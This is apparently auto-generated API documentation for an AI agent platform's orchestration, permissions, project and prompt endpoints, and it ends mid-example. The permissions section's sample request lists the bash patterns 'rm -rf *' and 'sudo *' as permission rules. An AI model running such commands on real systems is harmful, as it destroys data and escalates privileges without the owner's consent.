# Orchestration: Vault & Import

**Page:** api/agent/orchestration/vault-import

[Download Raw Markdown](./api/agent/orchestration/vault-import.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Overview

The Orchestration Vault & Import API manages the **portable Master TODO state** — synchronizing TODOs to/from Hoody Vault and importing repositories across workspaces. Use these endpoints to discover vault-stored TODOs, sync local snapshots, start a repository import job, and poll import progress.

## Import Jobs

### `POST /api/v1/workspaces/{workspaceID}/orchestration/import`

Start a repository import into the workspace. The call returns immediately with an `importJobID` that you can poll for status.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The target workspace ID |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `repoUrl` | string | Yes | The URL of the repository to import (min length 1) |

### SDK Example

```ts
const { importJobID, todoID } = await client.agent.orchestration.startImport({
  workspaceID: "ws_prod_42",
  data: {
    repoUrl: "https://github.com/hoody/monorepo.git"
  }
});
```

### Response



```json
{
  "importJobID": "imp_01HF8Z3Q5K3VCD7Y7N8PQRSTA4",
  "todoID": "todo_01HF8Z3Q5K3VCD7Y7N8PQRSTA5"
}
```


```json
{
  "data": {},
  "errors": [
    {
      "propertyNames": ["repoUrl"],
      "message": "repoUrl must be a non-empty string"
    }
  ],
  "success": false
}
```



---

### `GET /api/v1/workspaces/{workspaceID}/orchestration/import/{jobID}`

Get the current status of a previously-started import job.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace ID |
| `jobID` | path | string | Yes | The import job ID returned by the start-import call |

### SDK Example

```ts
const job = await client.agent.orchestration.getImportStatus({
  workspaceID: "ws_prod_42",
  jobID: "imp_01HF8Z3Q5K3VCD7Y7N8PQRSTA4"
});

console.log(job.status, job.progress);
```

### Response



```json
{
  "id": "imp_01HF8Z3Q5K3VCD7Y7N8PQRSTA4",
  "status": "running",
  "progress": 42,
  "error": ""
}
```

`status` is one of `running`, `completed`, or `failed`. `error` is populated only when `status` is `failed`.


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Import job not found"
  }
}
```



## Vault Sync & Import

### `POST /api/v1/workspaces/{workspaceID}/orchestration/vault/sync`

Sync the local Master TODO snapshot for the workspace to Hoody Vault. This pushes the current state so it can be discovered and imported into other workspaces later.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace whose snapshot should be synced |

### SDK Example

```ts
const result = await client.agent.orchestration.vaultSync({
  workspaceID: "ws_prod_42"
});

if (result.synced) {
  console.log("Snapshot uploaded to Vault");
}
```

### Response



```json
{
  "synced": true
}
```


```json
{
  "data": {},
  "errors": [
    {
      "propertyNames": ["workspaceID"],
      "message": "Workspace not eligible for vault sync"
    }
  ],
  "success": false
}
```



---

### `GET /api/v1/workspaces/{workspaceID}/orchestration/vault/discover`

Discover all Master TODOs currently stored in Hoody Vault. The result lists every portable TODO regardless of which workspace originally produced it.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace performing the discovery (used for scoping) |

### SDK Example

```ts
const { todos } = await client.agent.orchestration.vaultDiscover({
  workspaceID: "ws_prod_42"
});

for (const t of todos) {
  console.log(t.key, t.workspaceID, t.sizeBytes, t.updatedAt);
}
```

### Response



```json
{
  "todos": [
    {
      "key": "vault/todo/01HF8Z3Q5K3VCD7Y7N8PQRSTA5.json",
      "workspaceID": "ws_prod_42",
      "sizeBytes": 184320,
      "updatedAt": "2026-01-12T18:24:55.812Z"
    },
    {
      "key": "vault/todo/01HF902B1YV2HJ6SX0Z4Q7NMTE.json",
      "workspaceID": "ws_staging_07",
      "sizeBytes": 92104,
      "updatedAt": "2026-01-11T09:02:14.001Z"
    }
  ]
}
```



---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/vault/import`

Import a Master TODO from Hoody Vault into a local workspace. Use the `key` from a prior `discover` call to identify the source snapshot, and `sourceWorkspaceID` to specify its origin. If `targetWorkspaceID` is omitted, the import lands in the workspace from the path.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The authenticated workspace performing the import |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `sourceWorkspaceID` | string | Yes | The workspace that produced the vault snapshot (min length 1) |
| `targetWorkspaceID` | string | No | The destination workspace ID (min length 1). Defaults to the path `workspaceID` |

### SDK Example

```ts
const result = await client.agent.orchestration.vaultImport({
  workspaceID: "ws_prod_42",
  data: {
    sourceWorkspaceID: "ws_staging_07",
    targetWorkspaceID: "ws_prod_42"
  }
});

if (result.imported) {
  console.log("TODO imported into", result.targetWorkspaceID);
}
```

### Response



```json
{
  "imported": true,
  "targetWorkspaceID": "ws_prod_42"
}
```


```json
{
  "data": {},
  "errors": [
    {
      "propertyNames": ["sourceWorkspaceID"],
      "message": "sourceWorkspaceID must be a non-empty string"
    }
  ],
  "success": false
}
```

---

# Agent: Orchestration

**Page:** api/agent/orchestration

[Download Raw Markdown](./api/agent/orchestration.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The orchestration pipeline coordinates every agent session, tool call, and budget decision inside a workspace. This page documents the workspace-level endpoints that read configuration, stream live events, expose the full debug dump, manage the interactive questions queue, and purge all orchestration state. The four domain pages cover the lifecycle and state-transition endpoints for each subsystem:

- [Master TODO](/api/agent/orchestration/todo/) — entry lifecycle, specs, freezes
- [Executor & Budget](/api/agent/orchestration/executor-budget/) — dispatcher control, worker locks, spend tracking
- [Phases & Orchestrator Sessions](/api/agent/orchestration/phases-sessions/) — phase CRUD, phase memory, prompt dispatch
- [Vault & Import](/api/agent/orchestration/vault-import/) — portable TODO storage and cross-workspace migration

The **Master TODO** is the central state machine: every orchestrated task is an entry that transitions through creation, dispatch, execution, and resolution. The executor consumes Master TODO entries subject to budget caps and worker locks; phases and orchestrator sessions drive prompt dispatch and memory; the vault persists the TODO as a portable, importable document. The endpoints below give you a cross-cutting view of that whole pipeline — config, live event feed, tool call log, debug snapshot, human-in-the-loop questions, and full reset.

## Configuration

### `GET /api/v1/workspaces/{workspaceID}/orchestration/config`

Returns the current orchestration configuration for the workspace.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{}
```



#### SDK

```ts
const { data } = await client.agent.orchestration.getConfig({
  workspaceID: "ws_01HXYZABCDEFGHJKMNPQRSTVW",
});
```

### `PATCH /api/v1/workspaces/{workspaceID}/orchestration/config`

Partially updates the orchestration configuration. The request body is a free-form partial update object — only the fields you include are changed.

#### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


#### Request Body

The body is an open partial-update object. Any fields you supply are merged into the current config.

#### Response



```json
{}
```



#### SDK

```ts
const { data } = await client.agent.orchestration.updateConfig({
  workspaceID: "ws_01HXYZABCDEFGHJKMNPQRSTVW",
  data: { /* partial config fields */ },
});
```

## Observability

### `GET /api/v1/workspaces/{workspaceID}/orchestration/events`

Server-Sent Events stream of every orchestration event emitted in the workspace. Supports `?since_seq=N` for reconnection.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```
event: todo.created
data: {"seq":1,"type":"todo.created","payload":{}}

event: todo.dispatched
data: {"seq":2,"type":"todo.dispatched","payload":{}}
```



#### SDK

```ts
const stream = await client.agent.orchestration.streamEvents({
  workspaceID: "ws_01HXYZABCDEFGHJKMNPQRSTVW",
});
for await (const event of stream) {
  // event.type, event.seq, event.payload
}
```

### `GET /api/v1/workspaces/{workspaceID}/orchestration/events/connections`

Returns the number of active SSE subscribers on the orchestration events stream for the workspace.

#### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


#### Response



```json
{
  "count": 3
}
```



#### SDK

```ts
const { data } = await client.agent.orchestration.getEventsConnections({
  workspaceID: "ws_01HXYZABCDEFGHJKMNPQRSTVW",
});
console.log(`Active SSE subscribers: ${data.count}`);
```

### `GET /api/v1/workspaces/{workspaceID}/orchestration/log`

Returns a paginated, filterable log of every tool call made by orchestrated sessions. The response includes the log entries and pagination metadata.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "items": [
    {
      "tool": "fs.read",
      "sessionID": "01HXYZABCDEFGHJKMNPQRSTVW",
      "callID": "call_01HXYZBROWSEFILE",
      "entryID": "entry_01HXYZREADFILE",
      "title": "Read package.json",
      "timestamp": 1717691432000,
      "duration": 142,
      "status": "ok",
      "corrections": [],
      "target": "/workspace/repo/package.json",
      "agentName": "build-agent",
      "container_id": "ctr_01HXYZ",
      "workspaceID": "ws_01HXYZABCDEFGHJKMNPQRSTVW"
    },
    {
      "tool": "net.fetch",
      "sessionID": "01HXYZABCDEFGHJKMNPQRSTVW",
      "callID": "call_01HXYZFETCHURL",
      "timestamp": 1717691438000,
      "duration": 412,
      "status": "intercepted",
      "agentName": "research-agent",
      "workspaceID": "ws_01HXYZABCDEFGHJKMNPQRSTVW"
    }
  ],
  "meta": {
    "page": 1,
    "limit": 50,
    "total": 2,
    "pages": 1
  }
}
```



#### SDK

```ts
const { data } = await client.agent.orchestration.getLog({
  workspaceID: "ws_01HXYZABCDEFGHJKMNPQRSTVW",
});
```

### `GET /api/v1/workspaces/{workspaceID}/orchestration/log/stream`

Server-Sent Events stream of tool call log entries as they are recorded.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```
event: tool.call
data: {"tool":"fs.read","callID":"call_01HXYZBROWSEFILE","status":"ok","timestamp":1717691432000}

event: tool.call
data: {"tool":"net.fetch","callID":"call_01HXYZFETCHURL","status":"intercepted","timestamp":1717691438000}
```



#### SDK

```ts
const stream = await client.agent.orchestration.streamLog({
  workspaceID: "ws_01HXYZABCDEFGHJKMNPQRSTVW",
});
for await (const entry of stream) {
  // entry.tool, entry.callID, entry.status, ...
}
```

### `GET /api/v1/workspaces/{workspaceID}/orchestration/debug-dump`

Exports the full orchestration debug dump for the workspace — every TODO, event, budget record, session reference, and in-memory cache needed to reconstruct the live state.

#### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


#### Response



```json
{}
```



#### SDK

```ts
const { data } = await client.agent.orchestration.getDebugDump({
  workspaceID: "ws_01HXYZABCDEFGHJKMNPQRSTVW",
});
```

## Questions Queue

Questions are interactive prompts emitted by agents that need a human decision before they can continue — approvals, clarifications, or option picks. The queue is bounded by the number of in-flight sessions and is not paginated; answered or expired questions disappear from the feed as soon as they resolve. You can poll the list endpoint or subscribe via the orchestration events SSE stream to see new questions as they appear.

### `GET /api/v1/workspaces/{workspaceID}/orchestration/questions`

Returns every unanswered question raised by any orchestrated session in the workspace.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "questions": [
    {
      "id": "que_01HXYZABCDEFGHJKMNPQRSTVW",
      "sessionID": "01HXYZABCDEFGHJKMNPQRSTVW",
      "questions": [
        {
          "question": "Which deployment target should I use for the new service?",
          "header": "Deploy target",
          "options": [
            {
              "label": "AWS us-east-1",
              "description": "Production-grade region with full feature parity."
            },
            {
              "label": "GCP europe-west1",
              "description": "Lower latency for EU users; some services are stubs."
            }
          ],
          "multiple": false,
          "custom": true
        }
      ],
      "tool": {
        "messageID": "msg_01HXYZMESSAGEID",
        "callID": "call_01HXYZCALLID"
      }
    }
  ]
}
```



#### SDK

```ts
const { data } = await client.agent.orchestration.questionsList({
  workspaceID: "ws_01HXYZABCDEFGHJKMNPQRSTVW",
});
```

### `GET /api/v1/workspaces/{workspaceID}/orchestration/questions/{questionID}`

Returns the full detail of a single pending question, including its options and the originating tool call reference.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `questionID` | path | string | Yes | Question identifier |

#### Response



```json
{
  "question": {
    "id": "que_01HXYZABCDEFGHJKMNPQRSTVW",
    "sessionID": "01HXYZABCDEFGHJKMNPQRSTVW",
    "questions": [
      {
        "question": "Approve the schema migration on the production database?",
        "header": "Approve migration",
        "options": [
          {
            "label": "Approve",
            "description": "Run the migration now and proceed."
          },
          {
            "label": "Reject",
            "description": "Cancel and roll back the orchestrator."
          }
        ],
        "multiple": false,
        "custom": true
      }
    ],
    "tool": {
      "messageID": "msg_01HXYZMESSAGEID",
      "callID": "call_01HXYZCALLID"
    }
  }
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Question que_01HXYZABCDEFGHJKMNPQRSTVW not found"
  }
}
```



#### SDK

```ts
const { data } = await client.agent.orchestration.questionsGetDetail({
  workspaceID: "ws_01HXYZABCDEFGHJKMNPQRSTVW",
  questionID: "que_01HXYZABCDEFGHJKMNPQRSTVW",
});
```

### `POST /api/v1/workspaces/{workspaceID}/orchestration/questions/{questionID}/answer`

Submits an answer to a pending question. The answer is an array of arrays of strings, one inner array per question in the request (questions can be multi-select).

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `questionID` | path | string | Yes | Question identifier |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `answers` | array | Yes | One inner array of selected option labels per question in the request |

```json
{
  "answers": [
    ["Approve"]
  ]
}
```

#### Response



```json
{
  "answered": true
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Question que_01HXYZABCDEFGHJKMNPQRSTVW not found"
  }
}
```



#### SDK

```ts
const { data } = await client.agent.orchestration.questionsAnswer({
  workspaceID: "ws_01HXYZABCDEFGHJKMNPQRSTVW",
  questionID: "que_01HXYZABCDEFGHJKMNPQRSTVW",
  data: {
    answers: [["Approve"]],
  },
});
```

## Maintenance

### `POST /api/v1/workspaces/{workspaceID}/orchestration/purge`

Pauses the executor and clears every piece of orchestration state for the workspace: TODO entries, events, budgets, tool logs, session IDs, and in-memory caches. **Configuration is preserved.** Use this for a clean reset without losing your tuning.


This operation is destructive and cannot be undone. All in-flight sessions and pending questions for the workspace will be lost.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "purged": [
    "todos",
    "events",
    "budgets",
    "tool_logs",
    "session_ids",
    "caches"
  ]
}
```



#### SDK

```ts
const { data } = await client.agent.orchestration.purge({
  workspaceID: "ws_01HXYZABCDEFGHJKMNPQRSTVW",
});
console.log("Cleared:", data.purged);
```

---

# Agent: Permissions

**Page:** api/agent/permissions

[Download Raw Markdown](./api/agent/permissions.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Agent Permissions API lets you list pending permission requests, respond to permission prompts, and inspect per-tool permission overrides. Use these endpoints to programmatically manage how the AI agent requests and receives authorization for actions such as file edits, shell commands, and web fetches within a workspace.

## Get workspace permission overrides

### `GET /api/v1/workspaces/{workspaceID}/config/permission`

Get permission and yolo overrides from the workspace config only (not merged with global).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |

### Response




Returns the workspace-level permission and yolo overrides.

```json
{
  "permission": {
    "edit": "allow",
    "bash": "ask",
    "webfetch": "allow"
  },
  "yolo": false,
  "tool_wake_policy": {
    "webfetch": "auto",
    "bash": "next_turn"
  }
}
```




### Example request



```bash
curl https://api.hoody.com/api/v1/workspaces/wks_abc123/config/permission \
  -H "Authorization: Bearer &lt;token&gt;"
```


```typescript
const overrides = await client.agent.permissions.getOverrides({
  workspaceID: "wks_abc123"
});
```



## List pending permissions

### `GET /api/v1/workspaces/{workspaceID}/permissions`

Get all pending permission requests across all sessions in the workspace.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |

### Response




Returns an array of pending permission requests.

```json
[
  {
    "id": "per_abc123def456",
    "sessionID": "507f1f77bcf86cd799439011",
    "permission": "edit",
    "patterns": ["*.ts", "*.tsx"],
    "metadata": {
      "filepath": "/home/user/project/src/index.ts"
    },
    "always": [],
    "tool": {
      "messageID": "msg_xyz789",
      "callID": "call_456abc"
    }
  },
  {
    "id": "per_def456ghi789",
    "sessionID": "507f1f77bcf86cd799439012",
    "permission": "bash",
    "patterns": ["rm -rf *", "sudo *"],
    "metadata": {
      "command": "sudo systemctl restart nginx"
    },
    "always": ["npm install *"]
  }
]
```




### Example request



```bash
curl https://api.hoody.com/api/v1/workspaces/wks_abc123/permissions \
  -H "Authorization: Bearer &lt;token&gt;"
```


```typescript
const pending = await client.agent.permissions.list({
  workspaceID: "wks_abc123"
});
```



## Respond to permission request

### `POST /api/v1/workspaces/{workspaceID}/permissions/{requestID}/reply`

Approve or deny a permission request from the AI assistant.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier |
| `requestID` | path | string | Yes | The permission request identifier |

### Request body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `reply` | string | Yes | The decision for this request. One of `once`, `always`, or `reject`. |
| `message` | string | No | An optional message accompanying the decision. |

```json
{
  "reply": "once",
  "message": "Approved for this edit only"
}
```

### Response




Permission processed successfully. Returns a boolean indicating success.

```json
true
```




The reply payload is invalid or missing required fields.

```json
{
  "data": {},
  "errors": [
    {
      "code": "INVALID_REPLY",
      "message": "reply must be one of: once, always, reject"
    }
  ],
  "success": false
}
```




The permission request could not be found.

```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Permission request per_abc123 not found"
  }
}
```




### Example request



```bash
curl -X POST https://api.hoody.com/api/v1/workspaces/wks_abc123/permissions/per_abc123def456/reply \
  -H "Authorization: Bearer &lt;token&gt;" \
  -H "Content-Type: application/json" \
  -d '{"reply": "once", "message": "Approved for this edit only"}'
```


```typescript
const result = await client.agent.permissions.reply({
  workspaceID: "wks_abc123",
  requestID: "per_abc123def456",
  data: {
    reply: "once",
    message: "Approved for this edit only"
  }
});
```

---

# Agent: Project

**Page:** api/agent/project

[Download Raw Markdown](./api/agent/project.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Agent: Project

Retrieve metadata for the active project that Hoody Agent is working with, and update project properties such as its display name, icon, and startup commands. Use these endpoints when a workspace needs to discover which project is currently loaded, or when you want to change presentation or behavior settings without touching branches or worktrees.

---

## Get current project

`GET /api/v1/workspaces/{workspaceID}/project/current`

Retrieve the currently active project that Hoody Agent is working with.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |

This endpoint takes no request body.

### Response



```json
{
  "id": "5f4dcc3b5aa765d61d8327deb882cf99",
  "worktree": "/home/user/projects/my-app",
  "vcs": "git",
  "name": "My Application",
  "icon": {
    "url": "https://cdn.hoody.io/projects/my-app/icon.png",
    "override": "🚀",
    "color": "#FF5733"
  },
  "commands": {
    "start": "npm install && npm run dev"
  },
  "time": {
    "created": 1700000000000,
    "updated": 1705000000000,
    "initialized": 1700000050000
  },
  "branches": [
    {
      "id": "branch_01",
      "path": "/home/user/projects/my-app/.worktrees/feature-x",
      "branch": "feature-x",
      "name": "Feature X",
      "status": "ready",
      "base_branch": "main",
      "base_commit": "abc123",
      "created_at": 1700000000000,
      "updated_at": 1705000000000
    }
  ]
}
```



### SDK usage

```ts
const project = await client.agent.project.getCurrent({
  workspaceID: "5f4dcc3b5aa765d61d8327deb882cf99"
});
```

---

## Update project

`PATCH /api/v1/workspaces/{workspaceID}/project/{projectID}`

Update project properties such as name, icon, and commands.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `projectID` | path | string | Yes | The project identifier. |
| `workspaceID` | path | string | Yes | The workspace identifier. |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `name` | string | No | Display name for the project. |
| `icon` | object | No | Icon configuration for the project. |
| `icon.url` | string | No | URL of the project icon. |
| `icon.override` | string | No | Text or emoji override displayed in place of the icon. |
| `icon.color` | string | No | Color applied to the project icon. |
| `commands` | object | No | Command overrides for the project. |
| `commands.start` | string | No | Startup script to run when creating a new workspace (worktree). |

```json
{
  "name": "My Application (Renamed)",
  "icon": {
    "url": "https://cdn.hoody.io/projects/my-app/icon-v2.png",
    "override": "🛠️",
    "color": "#1E90FF"
  },
  "commands": {
    "start": "pnpm install && pnpm dev"
  }
}
```

### Response



```json
{
  "id": "5f4dcc3b5aa765d61d8327deb882cf99",
  "worktree": "/home/user/projects/my-app",
  "vcs": "git",
  "name": "My Application (Renamed)",
  "icon": {
    "url": "https://cdn.hoody.io/projects/my-app/icon-v2.png",
    "override": "🛠️",
    "color": "#1E90FF"
  },
  "commands": {
    "start": "pnpm install && pnpm dev"
  },
  "time": {
    "created": 1700000000000,
    "updated": 1705000000000,
    "initialized": 1700000050000
  },
  "branches": []
}
```


```json
{
  "data": {},
  "errors": [
    {
      "propertyNames": ["name"]
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



### SDK usage

```ts
const updated = await client.agent.project.update({
  workspaceID: "5f4dcc3b5aa765d61d8327deb882cf99",
  projectID: "5f4dcc3b5aa765d61d8327deb882cf99",
  data: {
    name: "My Application (Renamed)",
    icon: {
      url: "https://cdn.hoody.io/projects/my-app/icon-v2.png",
      override: "🛠️",
      color: "#1E90FF"
    },
    commands: {
      start: "pnpm install && pnpm dev"
    }
  }
});
```

---

# Agent: Prompt

**Page:** api/agent/prompt

[Download Raw Markdown](./api/agent/prompt.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# Agent: Prompt

Submit prompts to AI agents and receive responses synchronously, asynchronously via SSE, or via a fully blocking synchronous call. Use these endpoints when you need to send a user or system message to an agent and consume the resulting message stream or final response. Cross-site (browser) requests are blocked on the GET variant — use the POST endpoint from web clients.

---

## `GET /api/v1/agent/prompt`

Submit a prompt via query string. Returns an SSE stream by default, or a JSON response if `wait=true`. Cross-site requests are blocked.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `ai` | query | string | Yes | The prompt text to send to the agent |
| `sessionID` | query | string | No | Existing session ID (24-character hex) to continue the conversation |
| `providerID` | query | string | No | Override the model provider ID |
| `modelID` | query | string | No | Override the model ID |
| `endpoint` | query | string | No | Override the provider endpoint URL |
| `baseURL` | query | string | No | Override the base URL for the request |
| `apiKey` | query | string | No | API key for the model provider |
| `key` | query | string | No | Alternative API key parameter |
| `wait` | query | string | No | If `true`, returns a JSON response instead of an SSE stream |
| `autoApprove` | query | string | No | Automatically approve tool/permission prompts |
| `agent` | query | string | No | Agent identifier to use for this prompt |
| `system` | query | string | No | System prompt override |
| `workspace` | query | string | No | Workspace ID to scope the prompt to |
| `directory` | query | string | No | Working directory for the agent |

### Response



```json
{
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "messageID": "msg_01HXYZABCDEF",
  "status": "completed",
  "info": {
    "id": "msg_01HXYZABCDEF",
    "role": "assistant",
    "finish": "stop"
  },
  "parts": [
    {
      "type": "text",
      "text": "Here is the answer to your prompt."
    }
  ]
}
```


```json
{
  "error": "Invalid prompt: 'ai' query parameter is required",
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "status": "failed"
}
```


```json
{
  "error": "Cross-site requests are not allowed for this endpoint",
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "status": "failed"
}
```


```json
{
  "error": "Workspace or session not found",
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "status": "failed"
}
```


```json
{
  "error": "Session directory conflict: directory does not match session origin",
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "status": "failed"
}
```



### SDK

```ts
const result = await client.agent.prompt.agentPromptGet({
  ai: "Summarize the last three commits in this repository.",
  sessionID: "5f9b3a2e1c8d4f0001a2b3c4",
  providerID: "anthropic",
  modelID: "claude-sonnet-4-20250514",
  wait: "true"
});
```

```bash
curl -X GET "https://api.hoody.com/api/v1/agent/prompt?ai=Summarize%20the%20last%20three%20commits&sessionID=5f9b3a2e1c8d4f0001a2b3c4&wait=true" \
  -H "Authorization: Bearer <token>"
```

---

## `POST /api/v1/agent/prompt`

Submit a prompt to an AI agent. Returns an SSE stream by default, or a JSON response if `wait=true`.

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `parts` | array | Yes | Message parts. Each part has `type` (currently `"text"`) and `text` |
| `sessionID` | string | No | Existing session ID (24-character hex) to continue the conversation |
| `model` | object | No | Model selection: `{ providerID, modelID }` |
| `model.providerID` | string | No | Model provider identifier (required when `model` is set) |
| `model.modelID` | string | No | Model identifier (required when `model` is set) |
| `endpoint` | string | No | Override the provider endpoint URL |
| `apiKey` | string | No | API key for the model provider |
| `wait` | boolean | No | If `true`, returns a JSON response instead of an SSE stream |
| `autoApprove` | boolean | No | Automatically approve tool/permission prompts |
| `agent` | string | No | Agent identifier to use for this prompt |
| `system` | string | No | System prompt override |
| `workspace` | string | No | Workspace ID to scope the prompt to |
| `directory` | string | No | Working directory for the agent |

```json
{
  "parts": [
    { "type": "text", "text": "Refactor the authentication module to use async/await." }
  ],
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "model": {
    "providerID": "anthropic",
    "modelID": "claude-sonnet-4-20250514"
  },
  "wait": true,
  "autoApprove": false,
  "agent": "build",
  "system": "You are a senior TypeScript engineer.",
  "workspace": "ws_01HXYZABCDEF",
  "directory": "/Users/me/projects/app"
}
```

### Response



```json
{
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "messageID": "msg_01HXYZABCDEF",
  "status": "completed",
  "info": {
    "id": "msg_01HXYZABCDEF",
    "role": "assistant",
    "finish": "stop"
  },
  "parts": [
    {
      "type": "text",
      "text": "I've refactored the auth module. The key changes were..."
    }
  ]
}
```


```json
{
  "error": "Invalid request: 'parts' must be a non-empty array",
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "status": "failed"
}
```


```json
{
  "error": "Workspace or session not found",
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "status": "failed"
}
```


```json
{
  "error": "Session directory conflict: directory does not match session origin",
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "status": "failed"
}
```



### SDK

```ts
const result = await client.agent.prompt.agentPrompt({
  parts: [
    { type: "text", text: "Refactor the authentication module to use async/await." }
  ],
  sessionID: "5f9b3a2e1c8d4f0001a2b3c4",
  model: {
    providerID: "anthropic",
    modelID: "claude-sonnet-4-20250514"
  },
  wait: true,
  agent: "build",
  workspace: "ws_01HXYZABCDEF",
  directory: "/Users/me/projects/app"
});
```

```bash
curl -X POST "https://api.hoody.com/api/v1/agent/prompt" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "parts": [
      { "type": "text", "text": "Refactor the authentication module to use async/await." }
    ],
    "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
    "model": { "providerID": "anthropic", "modelID": "claude-sonnet-4-20250514" },
    "wait": true
  }'
```

---

## `POST /api/v1/agent/prompt/sync`

Submit a prompt and wait for the full response. The server blocks until the agent finishes execution and returns the complete output.

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `parts` | array | Yes | Message parts. Each part has `type` (currently `"text"`) and `text` |
| `sessionID` | string | No | Existing session ID (24-character hex) to continue the conversation |
| `model` | object | No | Model selection: `{ providerID, modelID }` |
| `model.providerID` | string | No | Model provider identifier (required when `model` is set) |
| `model.modelID` | string | No | Model identifier (required when `model` is set) |
| `endpoint` | string | No | Override the provider endpoint URL |
| `apiKey` | string | No | API key for the model provider |
| `wait` | boolean | No | Reserved flag for the synchronous variant |
| `autoApprove` | boolean | No | Automatically approve tool/permission prompts |
| `agent` | string | No | Agent identifier to use for this prompt |
| `system` | string | No | System prompt override |
| `workspace` | string | No | Workspace ID to scope the prompt to |
| `directory` | string | No | Working directory for the agent |

```json
{
  "parts": [
    { "type": "text", "text": "Write unit tests for the billing service." }
  ],
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "model": {
    "providerID": "openai",
    "modelID": "gpt-4o"
  },
  "autoApprove": true,
  "agent": "build",
  "workspace": "ws_01HXYZABCDEF",
  "directory": "/Users/me/projects/billing"
}
```

### Response



```json
{
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "messageID": "msg_01HXYZGHIJKL",
  "status": "completed",
  "info": {
    "id": "msg_01HXYZGHIJKL",
    "role": "assistant",
    "finish": "stop"
  },
  "parts": [
    {
      "type": "text",
      "text": "I've added 14 unit tests covering invoice creation, tax calculation, refunds, and edge cases."
    }
  ]
}
```


```json
{
  "error": "Invalid request: 'parts' must be a non-empty array",
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "status": "failed"
}
```


```json
{
  "error": "Workspace or session not found",
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "status": "failed"
}
```


```json
{
  "error": "Session directory conflict: directory does not match session origin",
  "sessionID": "5f9b3a2e1c8d4f0001a2b3c4",
  "status": "failed"
}
```



### SDK

```ts
